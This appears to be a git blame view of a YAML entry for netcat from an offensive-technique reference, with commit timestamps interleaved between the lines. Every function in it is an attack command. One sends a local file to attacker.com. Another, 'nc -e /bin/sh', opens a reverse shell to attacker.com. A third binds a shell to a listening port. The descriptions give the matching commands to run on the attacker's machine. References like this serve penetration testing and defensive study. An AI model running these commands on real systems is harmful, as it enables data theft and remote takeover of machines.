2018-05-21 21:14:41 +02:00
|
|
|
---
|
|
|
|
functions:
|
|
|
|
upload:
|
2018-05-22 19:51:52 +02:00
|
|
|
- description: |
|
2018-05-24 22:05:07 +02:00
|
|
|
Send a file to a TCP port. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file.
|
2018-05-21 21:14:41 +02:00
|
|
|
code: |
|
2018-05-24 21:59:21 +02:00
|
|
|
RHOST=attacker.com
|
2018-05-23 09:08:13 +02:00
|
|
|
RPORT=12345
|
2018-05-21 21:14:41 +02:00
|
|
|
LFILE=file_to_send
|
|
|
|
nc $RHOST $RPORT < "$LFILE"
|
|
|
|
download:
|
2018-05-24 22:05:07 +02:00
|
|
|
- description: Fetch remote file from a remote TCP port. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file.
|
2018-05-21 21:14:41 +02:00
|
|
|
code: |-
|
2018-05-23 09:08:13 +02:00
|
|
|
LPORT=12345
|
2018-05-22 19:51:52 +02:00
|
|
|
LFILE=where_to_save
|
2018-05-21 21:14:41 +02:00
|
|
|
nc -l -p $LPORT > "$LFILE"
|
|
|
|
reverse-shell:
|
2018-05-24 22:05:07 +02:00
|
|
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
2018-05-22 19:51:52 +02:00
|
|
|
code: |
|
2018-05-24 21:59:21 +02:00
|
|
|
RHOST=attacker.com
|
2018-05-23 09:08:13 +02:00
|
|
|
RPORT=12345
|
2018-05-21 21:14:41 +02:00
|
|
|
nc -e /bin/sh $RHOST $RPORT
|
|
|
|
bind-shell:
|
2018-05-24 22:05:07 +02:00
|
|
|
- description: Run `nc target.com 12345` on the attacker box to connect to the shell.
|
2018-05-22 19:51:52 +02:00
|
|
|
code: |
|
2018-05-23 09:08:13 +02:00
|
|
|
LPORT=12345
|
2018-05-22 19:51:52 +02:00
|
|
|
nc -l -p $LPORT -e /bin/sh
|
2018-05-21 21:14:41 +02:00
|
|
|
---
|